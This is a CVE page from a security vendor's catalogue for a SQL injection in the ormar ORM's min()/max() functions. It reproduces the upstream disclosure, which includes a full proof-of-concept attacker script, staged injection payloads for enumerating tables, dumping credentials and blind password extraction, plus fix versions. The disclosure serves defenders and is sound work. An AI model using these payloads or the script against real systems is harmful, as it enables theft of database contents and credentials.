HOL LogoGuard

Explore HOL

  • HOL home
  • AI agent registry
  • AI plugins
  • Open standards
  • HOL members
  • Sponsor HOL
  • Advertise with HOL

Guard product

  • Guard overviewLocal security and control for AI agents and the tools they use.
  • FeaturesRuntime protection, policy routing, review, and evidence.
  • CIGARPoint your coding agent at the right lines and cut its token bill by about a third.

Explore Guard

  • Product previewWalk through Guard surfaces in read-only demo mode.
  • ComparisonCompare Guard with native controls and AI security vendors.

AI tools

  • All AI toolsEvery supported AI tool and how Guard applies policy to it.
  • Codex
  • Claude Code
  • Cursor
  • Antigravity CLI
  • OpenCode
  • Hermes
  • OpenClaw
  • GitHub Copilot CLI
  • Antigravity
  • Kimi
  • Grok
  • Pi / Oh My Pi
  • Zcode

Extensions

  • All extensionsBrowse command and MCP coverage with owners and stated limits.
  • Command coverageShell command protection across clouds, databases, backups, and packages.
  • MCP server coverageSee how Guard maps risk state across MCP tools and servers.
  • Core safetyThe safety floor listings that ship with Guard.
  • Data and resilienceBackup and storage command protection.
  • Cloud and infrastructureAWS, Azure, GCP, Kubernetes, and more.

Security

  • AI security hubSecurity research, advisories, and agent safety coverage.
  • AI tool securitySecurity profiles for each supported coding agent.
  • Safe labsHands-on attack simulations with safe boundaries.
  • Redacted warningsReal blocked actions with sensitive details removed.
  • AdvisoriesCoordinated disclosure reports for AI tooling.
  • Active CVEsSearch active CVEs affecting AI tooling.

Learn

  • Security guidesPractical guides for securing AI agent workflows.
  • DocsInstall, configure, and operate Guard with confidence.
  • ResearchPublished security research, benchmarks, and methodology.
  • Gauntlet benchmarkGuard tested with real coding agents: safe work runs, risky actions stop.

Community

  • ReleasesVersion history, shipped changes and upgrade notes.
  • ContributorsThe people and contributions behind HOL Guard.
  • AffiliatesShare Guard with your audience and earn from referrals.
  • SponsorFund agreed research, implementation and shared testing through the HOL Partner Program.
  • AdvertiseCompare README logo placements, previews and monthly prices, or promote a plugin or extension.
PricingEnterpriseOpen AppInstall Guard
  1. Guard
  2. Security
  3. CVEs
  4. CVE 2026 26198 ormar is vulnerable to sql injection through
HOL Guard

Public security guidance for teams protecting AI harnesses, MCP servers, skills, prompts, and local tool execution.

Install Guard

AI Security

  • Prompt injection
  • MCP security
  • OWASP MCP mapping
  • Supply chain

Resources

  • Trust packet
  • Harness setup
  • Redacted warnings
  • Safe labs

Product

  • Install Guard
  • Pricing
  • Open dashboard

Get HOL Guard for your computer

HOL Guard is a free desktop app that watches what coding agents such as Claude Code, Codex and Cursor run, read and install, and asks you before anything risky happens.

  • Download for macOS
  • Windows download
  • Linux download

Free. macOS 13+ on Apple silicon, Windows x64, Linux AppImage. Other ways to install

Star HOL Guard on GitHub to download
Runs on
macOS 13 or later on Apple silicon, Windows x64 and Linux x86_64.
Price
Free. Paid plans add Guard Cloud for teams. See pricing
Where your data stays
On your computer. Guard Cloud is optional.
Token savings
58.6% to 61.5% fewer tokens across three coding agents in our CIGAR benchmark.

HOL

HOL builds open infrastructure for AI agents: HOL Guard, a directory of AI plugins and MCP servers, an AI agent registry and the open HCS standards.

  • GitHub (opens in a new tab)
  • X (Twitter) (opens in a new tab)
  • YouTube (opens in a new tab)
  • Telegram (opens in a new tab)

HOL Guard

  • What is HOL Guard
  • Features
  • Cut coding agent token costs (CIGAR)
  • Install Guard
  • Download the desktop app
  • Pricing
  • Guard for teams
  • Compare Guard
  • Release notes

Guard for your AI tool

  • Guard for Claude Code
  • Guard for Codex
  • Guard for Cursor
  • Guard for GitHub Copilot CLI
  • Guard for OpenCode
  • Guard for Pi and Oh My Pi
  • Guard for Hermes
  • Guard for OpenClaw
  • All supported AI tools

Research and security

  • Gauntlet: Guard tested with real agents
  • CIGAR token benchmark
  • Research
  • AI security hub
  • Security advisories
  • Active CVEs in AI tools
  • AI agent security guides
  • Extensions and coverage

Plugins and MCP servers

  • Browse AI plugins
  • New plugin launches
  • Best Claude Plugins
  • Best Codex Plugins
  • Best Grok Plugins
  • Best Kimi Plugins
  • Best DeepSeek Plugins
  • Best Antigravity Plugins
  • Best MCP Servers
  • Best Cursor Plugins
  • Best OpenCode Plugins

AI agent registry

  • Best AI agents
  • Best ERC-8004 agents
  • Best Virtuals agents
  • Best A2A agents
  • Best x402 payable agents
  • Submit an ERC-8004 contract
  • Feature your agent

Developers

  • Guard docs
  • Documentation index
  • Developer hub
  • Registry API reference
  • OpenAPI spec
  • Registry OpenAPI spec
  • Run in Postman (opens in a new tab)
  • HCS standards

Company

  • About HOL
  • Blog
  • Contribute to HOL
  • Guard contributors
  • Sponsor
  • Advertise
  • Affiliate program
  • Contact

Copyright © 2026 HOL DAO LLC. All rights reserved.

  • Privacy
  • Terms of Service
Back to active CVEs
Critical · CVSS 9.8CVE-2026-26198GHSA-XXH2-68G9-8JQR

ormar is vulnerable to SQL Injection through aggregate functions min() and max()CVE-2026-26198

Answer in brief

CVE-2026-26198 records a Critical severity (CVSS 9.8) vulnerability in ormar is vulnerable to SQL Injection through aggregate functions min() and max(). The current sources do not mark it as known exploited. The current feed maps ormar (pip), ormar (pypi). Check affected ranges and fixed versions before updating.

Analysis pending evidence review

HOL Guard separates source facts from reviewed analysis. See the methodology.

Published Feb 23, 2026Updated Nov 16, 2026Source checked Nov 16, 2026First seen by HOL Nov 16, 2026Material review Nov 16, 2026
Upstream Advisory

Record context

Vulnerability class
SQL Injection
EPSS
Not reported
CWE IDs
CWE-89
Source
GitHub Security Advisories
Source checked
Nov 16, 2026
References
8 linked sources
Open source record

Key facts

Risk
Critical · CVSS 9.8
Exploitation
Not marked as known exploited
Affected software
2 mapped packages or products
Fix availability
Available

Why this deserves its current priority

CVSS is 9.8. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.

Analysis status

Analysis pending evidence review

Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.

Affected scope and exposure questions

The current feed maps ormar (pip), ormar (pypi). Check affected ranges and fixed versions before updating.

Mapped affected packages and fixed versions
PackageAffected rangeFixed version
ormarpip>=0.9.9,<0.23.00.23.0
ormarpypi>=0.9.9 <0.23.00.23.0

Recommended response

  1. 1Check inventory. Check lockfiles and deployed manifests for ormar, ormar.
  2. 2Review the reported fix. Update ormar to 0.23.0; ormar to 0.23.0 if you use the affected versions. Test the change in a non-production environment first.

Evidence timeline and material changes

  1. Published upstream

    Feb 23, 2026

    Evidence: source:ghsa:source_dates:source-dates:record
  2. Source modified

    Nov 16, 2026

    Evidence: source:ghsa:source_dates:source-dates:record
  3. First seen by HOL

    Nov 16, 2026

Sources and claim methodology

  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • NVD vulnerability recordnvd.nist.gov
  • Source referencepypi.org
  • GitHub security advisorygithub.com
Upstream source description

# Report of SQL Injection Vulnerability in Ormar ORM ## A SQL Injection attack can be achieved by passing a crafted string to the min() or max() aggregate functions. ## Brief description When performing aggregate queries, Ormar ORM constructs SQL expressions by passing user-supplied column names directly into `sqlalchemy.text()` without any validation or sanitization. The `min()` and `max()` methods in the `QuerySet` class accept arbitrary string input as the column parameter. While `sum()` and `avg()` are partially protected by an `is_numeric` type check that rejects non-existent fields, `min()` and `max()` skip this validation entirely. As a result, an attacker-controlled string is embedded as raw SQL inside the aggregate function call. Any unauthorized user can exploit this vulnerability to read the entire database contents, including tables unrelated to the queried model, by injecting a subquery as the column parameter. ## Affected versions ``` 0.9.9 - 0.12.2 0.20.0b1 - 0.22.0 (latest) ``` The vulnerable `SelectAction.get_text_clause()` method and the `min()`/`max()` aggregate functions were introduced together in commit `ff9d412` (March 12, 2021) and first released in version **0.9.9**. The vulnerable code has never been modified since — `get_text_clause()` is identical in every subsequent version through the latest **0.21.0**. Versions prior to 0.9.9 do not contain the `min()`/`max()` aggregate feature and are not affected. The following uses the latest ormar 0.21.0 as an example to illustrate the attack. ## Vulnerability details When performing an aggregate query, the `QuerySet.max()` method (line 721, `queryset.py`) passes user input to `_query_aggr_function()`. This method creates a `SelectAction` object for each column name. The column string is split by `__` and the last part becomes `self.field_name` — with no validation against the model's actual fields. The critical vulnerability is in `SelectAction.get_text_clause()` (line 41-43, `select_action.py`), which directly passes `self.field_name` into `sqlalchemy.text()`: ```python #select_action.py line 41-43 def get_text_clause(self) -> sqlalchemy.sql.expression.TextClause: alias = f"{self.table_prefix}_" if self.table_prefix else "" return sqlalchemy.text(f"{alias}{self.field_name}") # unsanitised user input! ``` The `apply_func()` method then wraps this raw text clause inside `func.max()`, producing SQL like `max(<attacker_input>)`. Since `sqlalchemy.text()` treats its argument as literal SQL, any subquery or SQL expression injected through the column name will be executed by the database engine. The `_query_aggr_function()` method (line 704-719, `queryset.py`) only validates field types for `sum` and `avg`, leaving `min` and `max` completely unprotected: ```python #queryset.py line 704-719 async def _query_aggr_function(self, func_name: str, columns: List) -> Any: func = getattr(sqlalchemy.func, func_name) select_actions = [ SelectAction(select_str=column, model_cls=self.model) for column in columns ] if func_name in ["sum", "avg"]: # <-- only sum/avg are checked! if any(not x.is_numeric for x in select_actions): raise QueryDefinitionError(...) select_columns = [x.apply_func(func, use_label=True) for x in select_actions] expr = self.build_select_expression().alias(f"subquery_for_{func_name}") expr = sqlalchemy.select(*select_columns).select_from(expr) result = await self.database.fetch_one(expr) return dict(result) if len(result) > 1 else result[0] ``` To reproduce the attack, you can follow the steps below, using a FastAPI application with SQLite as an example. Note: The PoC consists of two files provided in the attachments — `poc_server.py` (the vulnerable server) and `poc_attacker.py` (the HTTP-based attacker script). <h2>Start the vulnerable application</h2> <ol> <li>Install dependencies:</li> </ol> <pre><code class="language-bash">pip install ormar databases aiosqlite fastapi uvicorn httpx </code></pre> <ol> <li>The vulnerable server (<code>poc_server.py</code>) is based on the <strong>official ormar FastAPI example</strong> (<a href="https://github.com/collerek/ormar/blob/master/examples/fastapi_quick_start.py">ormar/examples/fastapi_quick_start.py</a>). The only modification is the addition of a <code>/items/stats</code> endpoint — a common pattern for applications that provide aggregate statistics. This demonstrates that the vulnerability is easily triggered by natural API design.</li> </ol> <p>The server defines three models:</p> <ul> <li><code>Category</code> and <code>Item</code> — from the official ormar example (unchanged)</li> <li><code>AdminUser</code> — simulates internal data (e.g., an admin_users table) that should NOT be accessible through the public API</li> </ul> <p>The vulnerable endpoint:</p> <pre><code class="language-python"># Added endpoint: aggregate statistics (VULNERABLE) # This is a common and natural pattern — letting users request # statistics on different columns. The ormar documentation itself # shows: await Book.objects.max(columns=[&quot;year&quot;]) # See: &lt;https://collerek.github.io/ormar/queries/aggregations/&gt; @app.get(&quot;/items/stats&quot;) async def item_stats( metric: str = Query(&quot;max&quot;, description=&quot;max or min&quot;), column: str = Query(&quot;price&quot;, description=&quot;Column to aggregate&quot;), ): &quot;&quot;&quot;Return aggregate statistics for items.&quot;&quot;&quot; if metric == &quot;max&quot;: result = await Item.objects.max(column) elif metric == &quot;min&quot;: result = await Item.objects.min(column) else: return {&quot;error&quot;: &quot;Unsupported metric&quot;} return {&quot;metric&quot;: metric, &quot;column&quot;: column, &quot;result&quot;: result} </code></pre> <p>The database contains:</p> Table | Data -- | -- categories | Electronics items | Laptop ($999.99), Phone ($699.99), Tablet ($449.99), Monitor ($329.99) admin_users | root / Sup3r$ecretP@ss! / ak-9f8e7d6c5b4a3210-prod   | deploy-bot / ghp_Tx7KmR29vLp4QzN1bWcA3sYjDf80Ue5Xoi / ak-1a2b3c4d5e6f7890-ci <p>The <code>admin_users</code> table is <strong>NOT</strong> exposed via any API endpoint.</p> <h2>The attack steps</h2> <p>The PoC requires two terminals:</p> <p><strong>Terminal 1</strong> — Start the vulnerable server:</p> <pre><code class="language-bash">python poc_server.py </code></pre> <p><strong>Terminal 2</strong> — Run the attacker script:</p> <pre><code class="language-bash">python poc_attacker.py </code></pre> <p>The attacker script (<code>poc_attacker.py</code>) sends HTTP requests to the running server. It has <strong>NO prior knowledge</strong> of the database schema — all information is discovered through the injection. The attacker executes 6 progressive attack stages through the single <code>/items/stats</code> endpoint.</p> <h2>Principle of vulnerability exploitation</h2> <h3>1. The attacker confirms injection by sending an arithmetic expression</h3> <p>The attacker sends <code>GET /items/stats?metric=max&amp;column=1+1</code>. The data flow is:</p> <pre><code>HTTP request: GET /items/stats?metric=max&amp;column=1+1 ↓ item_stats(metric=&quot;max&quot;, column=&quot;1+1&quot;) # poc_server.py ↓ Item.objects.max(&quot;1+1&quot;) # queryset.py:721 ↓ _query_aggr_function(func_name=&quot;max&quot;, columns=[&quot;1+1&quot;]) # queryset.py:704 ↓ SelectAction(select_str=&quot;1+1&quot;, model_cls=Item) # select_action.py:22 ↓ _split_value_into_parts(&quot;1+1&quot;) → self.field_name = &quot;1+1&quot; ↓ # min/max skip the is_numeric check (line 709 only checks sum/avg) ↓ get_text_clause() → sqlalchemy.text(&quot;1+1&quot;) # select_action.py:43 ↓ apply_func(sqlalchemy.func.max) → max(1+1) </code></pre> <p>Generated SQL:</p> <pre><code class="language-sql">SELECT max(1+1) AS &quot;1+1&quot; FROM (SELECT items.id AS id, items.name AS name, items.price AS price, items.category AS category FROM items) AS subquery_for_max </code></pre> <p>The API returns <code>{&quot;metric&quot;:&quot;max&quot;,&quot;column&quot;:&quot;1+1&quot;,&quot;result&quot;:2}</code>, confirming that the arithmetic expression was evaluated as SQL.</p> <h3>2. The attacker enumerates database tables</h3> <p>The attacker injects a subquery to read <code>sqlite_master</code>:</p> <pre><code>GET /items/stats?metric=max&amp;column=(SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table') </code></pre> <p>Which internally calls:</p> <pre><code class="language-python">await Item.objects.max( &quot;(SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table')&quot; ) </code></pre> <p>Generated SQL:</p> <pre><code class="language-sql">SELECT max((SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table')) AS &quot;(SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table')&quot; FROM (SELECT items.id, items.name, items.price, items.category FROM items) AS subquery_for_max </code></pre> <p>The API returns <code>categories,admin_users,items</code>, revealing the hidden <code>admin_users</code> table.</p> <h3>3. The attacker extracts the schema of the target table</h3> <pre><code>GET /items/stats?metric=max&amp;column=(SELECT sql FROM sqlite_master WHERE name='admin_users') </code></pre> <p>The API returns the full <code>CREATE TABLE</code> statement, revealing column names: <code>username</code>, <code>password</code>, <code>api_key</code>.</p> <h3>4. The attacker dumps all credentials in a single query</h3> <pre><code>GET /items/stats?metric=max&amp;column=(SELECT GROUP_CONCAT(username || ' | ' || password || ' | ' || api_key, CHAR(10)) FROM admin_users) </code></pre> <p>Generated SQL:</p> <pre><code class="language-sql">SELECT max((SELECT GROUP_CONCAT(username || ' | ' || password || ' | ' || api_key, CHAR(10)) FROM admin_users)) AS &quot;...&quot; FROM (SELECT items.id, items.name, items.price, items.category FROM items) AS subquery_for_max </code></pre> <p>The API returns all credentials:</p> <pre><code>root | Sup3r$ecretP@ss! | ak-9f8e7d6c5b4a3210-prod deploy-bot | ghp_Tx7KmR29vLp4QzN1bWcA3sYjDf80Ue5Xoi | ak-1a2b3c4d5e6f7890-ci </code></pre> <h3>5. Blind boolean-based extraction (when results are not directly visible)</h3> <p>Even if the API does not return query results directly, the attacker can use boolean-based blind injection to extract data character by character using binary search:</p> <pre><code>GET /items/stats?metric=max&amp;column=CASE WHEN UNICODE(SUBSTR((SELECT password FROM admin_users WHERE username='root'),1,1))&gt;83 THEN 1 ELSE 0 END </code></pre> <p>Which internally calls:</p> <pre><code class="language-python"># &quot;Is the Nth character of root's password greater than ASCII code M?&quot; await Item.objects.max( &quot;CASE WHEN UNICODE(SUBSTR(&quot; &quot;(SELECT password FROM admin_users WHERE username='root'),1,1))&gt;83 &quot; &quot;THEN 1 ELSE 0 END&quot; ) # Returns 0 → first character is 'S' (ASCII 83) </code></pre> <p>By iterating over each position with binary search, the full password <code>Sup3r$ecretP@ss!</code> is extracted in approximately 113 HTTP requests (16 characters x ~7 binary search steps).</p> <h3>6. The attacker extracts the production API key</h3> <pre><code>GET /items/stats?metric=max&amp;column=(SELECT api_key FROM admin_users WHERE username='root') </code></pre> <p>The API returns: <code>ak-9f8e7d6c5b4a3210-prod</code></p> <p>All data was extracted through a single public API endpoint using only unauthenticated GET requests.</p> <!-- notionvc: b3e8123b-0876-4c76-94f6-2281c6cbb3f0 -->## Start the vulnerable application 1. Install dependencies: ```bash pip install ormar databases aiosqlite fastapi uvicorn httpx ``` 1. The vulnerable server (`poc_server.py`) is based on the **official ormar FastAPI example** ([[ormar/examples/fastapi_quick_start.py](https://github.com/collerek/ormar/blob/master/examples/fastapi_quick_start.py)](https://github.com/collerek/ormar/blob/master/examples/fastapi_quick_start.py)). The only modification is the addition of a `/items/stats` endpoint — a common pattern for applications that provide aggregate statistics. This demonstrates that the vulnerability is easily triggered by natural API design. The server defines three models: - `Category` and `Item` — from the official ormar example (unchanged) - `AdminUser` — simulates internal data (e.g., an admin_users table) that should NOT be accessible through the public API The vulnerable endpoint: ```python # Added endpoint: aggregate statistics (VULNERABLE) # This is a common and natural pattern — letting users request # statistics on different columns. The ormar documentation itself # shows: await Book.objects.max(columns=["year"]) # See: <https://collerek.github.io/ormar/queries/aggregations/> @app.get("/items/stats") async def item_stats( metric: str = Query("max", description="max or min"), column: str = Query("price", description="Column to aggregate"), ): """Return aggregate statistics for items.""" if metric == "max": result = await Item.objects.max(column) elif metric == "min": result = await Item.objects.min(column) else: return {"error": "Unsupported metric"} return {"metric": metric, "column": column, "result": result} ``` The database contains: | Table | Data | | --- | --- | | `categories` | Electronics | | `items` | Laptop ($999.99), Phone ($699.99), Tablet ($449.99), Monitor ($329.99) | | `admin_users` | root / Sup3r$ecretP@ss! / ak-9f8e7d6c5b4a3210-prod | | | deploy-bot / ghp_Tx7KmR29vLp4QzN1bWcA3sYjDf80Ue5Xoi / ak-1a2b3c4d5e6f7890-ci | The `admin_users` table is **NOT** exposed via any API endpoint. ## The attack steps The PoC requires two terminals: **Terminal 1** — Start the vulnerable server: ```bash python poc_server.py ``` **Terminal 2** — Run the attacker script: ```bash python poc_attacker.py ``` The attacker script (`poc_attacker.py`) sends HTTP requests to the running server. It has **NO prior knowledge** of the database schema — all information is discovered through the injection. The attacker executes 6 progressive attack stages through the single `/items/stats` endpoint. ## Principle of vulnerability exploitation ### 1. The attacker confirms injection by sending an arithmetic expression The attacker sends `GET /items/stats?metric=max&column=1+1`. The data flow is: ``` HTTP request: GET /items/stats?metric=max&column=1+1 ↓ item_stats(metric="max", column="1+1") # poc_server.py ↓ Item.objects.max("1+1") # queryset.py:721 ↓ _query_aggr_function(func_name="max", columns=["1+1"]) # queryset.py:704 ↓ SelectAction(select_str="1+1", model_cls=Item) # select_action.py:22 ↓ _split_value_into_parts("1+1") → self.field_name = "1+1" ↓ # min/max skip the is_numeric check (line 709 only checks sum/avg) ↓ get_text_clause() → sqlalchemy.text("1+1") # select_action.py:43 ↓ apply_func(sqlalchemy.func.max) → max(1+1) ``` Generated SQL: ```sql SELECT max(1+1) AS "1+1" FROM (SELECT items.id AS id, items.name AS name, items.price AS price, items.category AS category FROM items) AS subquery_for_max ``` The API returns `{"metric":"max","column":"1+1","result":2}`, confirming that the arithmetic expression was evaluated as SQL. ### 2. The attacker enumerates database tables The attacker injects a subquery to read `sqlite_master`: ``` GET /items/stats?metric=max&column=(SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table') ``` Which internally calls: ```python await Item.objects.max( "(SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table')" ) ``` Generated SQL: ```sql SELECT max((SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table')) AS "(SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table')" FROM (SELECT items.id, items.name, items.price, items.category FROM items) AS subquery_for_max ``` The API returns `categories,admin_users,items`, revealing the hidden `admin_users` table. ### 3. The attacker extracts the schema of the target table ``` GET /items/stats?metric=max&column=(SELECT sql FROM sqlite_master WHERE name='admin_users') ``` The API returns the full `CREATE TABLE` statement, revealing column names: `username`, `password`, `api_key`. ### 4. The attacker dumps all credentials in a single query ``` GET /items/stats?metric=max&column=(SELECT GROUP_CONCAT(username || ' | ' || password || ' | ' || api_key, CHAR(10)) FROM admin_users) ``` Generated SQL: ```sql SELECT max((SELECT GROUP_CONCAT(username || ' | ' || password || ' | ' || api_key, CHAR(10)) FROM admin_users)) AS "..." FROM (SELECT items.id, items.name, items.price, items.category FROM items) AS subquery_for_max ``` The API returns all credentials: ``` root | Sup3r$ecretP@ss! | ak-9f8e7d6c5b4a3210-prod deploy-bot | ghp_Tx7KmR29vLp4QzN1bWcA3sYjDf80Ue5Xoi | ak-1a2b3c4d5e6f7890-ci ``` ### 5. Blind boolean-based extraction (when results are not directly visible) Even if the API does not return query results directly, the attacker can use boolean-based blind injection to extract data character by character using binary search: ``` GET /items/stats?metric=max&column=CASE WHEN UNICODE(SUBSTR((SELECT password FROM admin_users WHERE username='root'),1,1))>83 THEN 1 ELSE 0 END ``` Which internally calls: ```python # "Is the Nth character of root's password greater than ASCII code M?" await Item.objects.max( "CASE WHEN UNICODE(SUBSTR(" "(SELECT password FROM admin_users WHERE username='root'),1,1))>83 " "THEN 1 ELSE 0 END" ) # Returns 0 → first character is 'S' (ASCII 83) ``` By iterating over each position with binary search, the full password `Sup3r$ecretP@ss!` is extracted in approximately 113 HTTP requests (16 characters x ~7 binary search steps). ### 6. The attacker extracts the production API key ``` GET /items/stats?metric=max&column=(SELECT api_key FROM admin_users WHERE username='root') ``` The API returns: `ak-9f8e7d6c5b4a3210-prod` All data was extracted through a single public API endpoint using only unauthenticated GET requests. ## The complete POC ### poc_server.py (Vulnerable Server) Based on the official ormar FastAPI example ([[fastapi_quick_start.py](https://github.com/collerek/ormar/blob/master/examples/fastapi_quick_start.py)](https://github.com/collerek/ormar/blob/master/examples/fastapi_quick_start.py)): ```python """ CVE PoC — Vulnerable Server ============================= Based on the OFFICIAL ormar FastAPI example: <https://github.com/collerek/ormar/blob/master/examples/fastapi_quick_start.py> The only modification is the addition of a /items/stats endpoint (line 63-76), which is a common pattern for any application that provides aggregate statistics. Usage: python poc_server.py """ # ── Original official example code (unchanged) ─────────────── # Source: ormar/examples/fastapi_quick_start.py from contextlib import asynccontextmanager from typing import List, Optional import databases import ormar import sqlalchemy import uvicorn from fastapi import FastAPI, Query DATABASE_URL = "sqlite:///poc_vuln.db" ormar_base_config = ormar.OrmarConfig( database=databases.Database(DATABASE_URL), metadata=sqlalchemy.MetaData() ) class Category(ormar.Model): ormar_config = ormar_base_config.copy(tablename="categories") id: int = ormar.Integer(primary_key=True) name: str = ormar.String(max_length=100) class Item(ormar.Model): ormar_config = ormar_base_config.copy(tablename="items") id: int = ormar.Integer(primary_key=True) name: str = ormar.String(max_length=100) price: float = ormar.Float(default=0) category: Optional[Category] = ormar.ForeignKey(Category, nullable=True) # This table simulates internal data that should NOT be accessible # through the public API — e.g. an admin_users table in the same database. class AdminUser(ormar.Model): ormar_config = ormar_base_config.copy(tablename="admin_users") id: int = ormar.Integer(primary_key=True) username: str = ormar.String(max_length=100) password: str = ormar.String(max_length=200) api_key: str = ormar.String(max_length=200) @asynccontextmanager async def lifespan(app: FastAPI): database_ = ormar_base_config.database if not database_.is_connected: await database_.connect() # Create tables engine = sqlalchemy.create_engine(DATABASE_URL) ormar_base_config.metadata.create_all(engine) engine.dispose() # Seed sample data if not await Item.objects.count(): cat = await Category.objects.create(name="Electronics") await Item.objects.create(name="Laptop", price=999.99, category=cat) await Item.objects.create(name="Phone", price=699.99, category=cat) await Item.objects.create(name="Tablet", price=449.99, category=cat) await Item.objects.create(name="Monitor", price=329.99, category=cat) if not await AdminUser.objects.count(): await AdminUser.objects.create( username="root", password="Sup3r$ecretP@ss!", api_key="ak-9f8e7d6c5b4a3210-prod", ) await AdminUser.objects.create( username="deploy-bot", password="ghp_Tx7KmR29vLp4QzN1bWcA3sYjDf80Ue5Xoi", api_key="ak-1a2b3c4d5e6f7890-ci", ) print("\\n [Server] Ready. Database seeded with items + admin_users.") print(" [Server] The admin_users table is NOT exposed via any API endpoint.\\n") yield if database_.is_connected: await database_.disconnect() app = FastAPI( title="Item Catalog API", description="Based on official ormar FastAPI example", lifespan=lifespan, ) # ── Original endpoints from official example (unchanged) ────── @app.get("/items/", response_model=List[Item]) async def get_items(): items = await Item.objects.select_related("category").all() return items @app.post("/items/", response_model=Item) async def create_item(item: Item): await item.save() return item @app.post("/categories/", response_model=Category) async def create_category(category: Category): await category.save() return category @app.put("/items/{item_id}") async def get_item(item_id: int, item: Item): item_db = await Item.objects.get(pk=item_id) return await item_db.update(**item.model_dump()) @app.delete("/items/{item_id}") async def delete_item(item_id: int, item: Item = None): if item: return {"deleted_rows": await item.delete()} item_db = await Item.objects.get(pk=item_id) return {"deleted_rows": await item_db.delete()} # ── Added endpoint: aggregate statistics (VULNERABLE) ───────── # This is a common and natural pattern — letting users request # statistics on different columns. The ormar documentation itself # shows: await Book.objects.max(columns=["year"]) # See: <https://collerek.github.io/ormar/queries/aggregations/> @app.get("/items/stats") async def item_stats( metric: str = Query("max", description="max or min"), column: str = Query("price", description="Column to aggregate"), ): """Return aggregate statistics for items.""" if metric == "max": result = await Item.objects.max(column) elif metric == "min": result = await Item.objects.min(column) else: return {"error": "Unsupported metric"} return {"metric": metric, "column": column, "result": result} @app.get("/health") async def health(): return {"status": "ok"} # ── Main ────────────────────────────────────────────────────── if __name__ == "__main__": import os # Clean previous database for reproducibility if os.path.exists("poc_vuln.db"): os.unlink("poc_vuln.db") print("=" * 60) print(" CVE PoC — Vulnerable Server") print(" Based on: ormar/examples/fastapi_quick_start.py") print(" Added: GET /items/stats?metric=max&column=<input>") print(" Docs: <http://127.0.0.1:8000/docs>") print("=" * 60) uvicorn.run(app, host="127.0.0.1", port=8000, log_level="warning") ``` ### poc_attacker.py (Attacker Script) ```python """ CVE PoC — Attacker Script =========================== Exploits the SQL injection in /items/stats endpoint. Sends HTTP requests to the running FastAPI server. Prerequisites: 1. Start the server first: python poc_server.py 2. Then run this script: python poc_attacker.py The attacker has NO prior knowledge of the database schema. All information is discovered through the injection. """ import sys import httpx TARGET = "<http://127.0.0.1:8000>" ENDPOINT = "/items/stats" def inject(payload: str) -> str: """Send a single injection payload via the public API.""" resp = httpx.get(TARGET + ENDPOINT, params={"metric": "max", "column": payload}) data = resp.json() return data.get("result") def main(): # ── Pre-check ───────────────────────────────────────────── try: r = httpx.get(TARGET + "/health", timeout=3) if r.status_code != 200: sys.exit(1) except httpx.ConnectError: print(f"Cannot connect to {TARGET}") print(f"Start the server first: python poc_server.py") sys.exit(1) # ── Stage 0: Legitimate request ────────────────────────── result = inject("price") print(f"[Stage 0] Normal usage: max(price) = {result}") # ── Stage 1: Confirm injection ──────────────────────────── result = inject("1+1") print(f"[Stage 1] max('1+1') = {result}") if result == 2: print(" → SQL INJECTION CONFIRMED") # ── Stage 2: Enumerate tables ───────────────────────────── payload = "(SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table')" result = inject(payload) tables = str(result).split(",") if result else [] print(f"[Stage 2] Tables: {result}") # ── Stage 3: Extract schema ─────────────────────────────── target_table = [t for t in tables if "admin" in t.lower()] target_table = target_table[0] if target_table else tables[-1] payload = f"(SELECT sql FROM sqlite_master WHERE name='{target_table}')" result = inject(payload) print(f"[Stage 3] Schema of {target_table}: {result}") # ── Stage 4: Dump all credentials ───────────────────────── payload = ( f"(SELECT GROUP_CONCAT(" f"username || ' | ' || password || ' | ' || api_key, CHAR(10))" f" FROM {target_table})" ) result = inject(payload) print(f"[Stage 4] Credentials:\\n{result}") # ── Stage 5: Blind extraction ───────────────────────────── payload = f"LENGTH((SELECT password FROM {target_table} WHERE username='root'))" pw_len = int(inject(payload)) extracted = "" request_count = 0 for pos in range(1, pw_len + 1): low, high = 32, 126 while low <= high: mid = (low + high) // 2 payload = ( f"CASE WHEN UNICODE(SUBSTR(" f"(SELECT password FROM {target_table} " f"WHERE username='root'),{pos},1))>{mid} " f"THEN 1 ELSE 0 END" ) result = inject(payload) request_count += 1 if result == 1: low = mid + 1 else: high = mid - 1 extracted += chr(low) sys.stdout.write(f"\\r[Stage 5] Extracting: {extracted}") sys.stdout.flush() print(f"\\n[Stage 5] Password extracted: {extracted} ({request_count} requests)") # ── Stage 6: Steal API key ──────────────────────────────── payload = f"(SELECT api_key FROM {target_table} WHERE username='root')" result = inject(payload) print(f"[Stage 6] Production API key: {result}") print(f"\\nTotal HTTP requests: {request_count + 6}") print("All data extracted through a single public API endpoint.") if __name__ == "__main__": main() ``` ## Vulnerability Impact This attack allows an unauthenticated user to read the entire database contents. Any API endpoint that passes user-controlled input to `Model.objects.min()` or `Model.objects.max()` becomes a full SQL injection entry point. The attack is confirmed to work with the following database backends: - SQLite (via aiosqlite) - PostgreSQL (via asyncpg) — subquery syntax is identical - MySQL (via aiomysql) — subquery syntax is compatible **Realistic attack scenarios include:** - **REST APIs** with user-selectable aggregate fields: `GET /items/stats?column=<input>` - **GraphQL resolvers** that accept field names as arguments - **Dynamic report generators** where users select columns for aggregation The vulnerable server in this PoC is based on the **official ormar FastAPI example**, demonstrating that the vulnerability is easily triggered through natural, documented API design patterns. The ormar documentation itself shows this exact usage pattern: `await Book.objects.max(columns=["year"])` ([[ormar aggregations docs](https://collerek.github.io/ormar/queries/aggregations/)](https://collerek.github.io/ormar/queries/aggregations/)). ## Display of attack results Terminal 1 — Start server: ![image](https://github.com/user-attachments/assets/4c8b4a20-75da-4aba-b649-f818e46165dd) Terminal 2 — Run attacker: <img width="2004" height="1478" alt="image (1)" src="https://github.com/user-attachments/assets/ae41657b-2730-4fab-ac01-e79acd267bde" 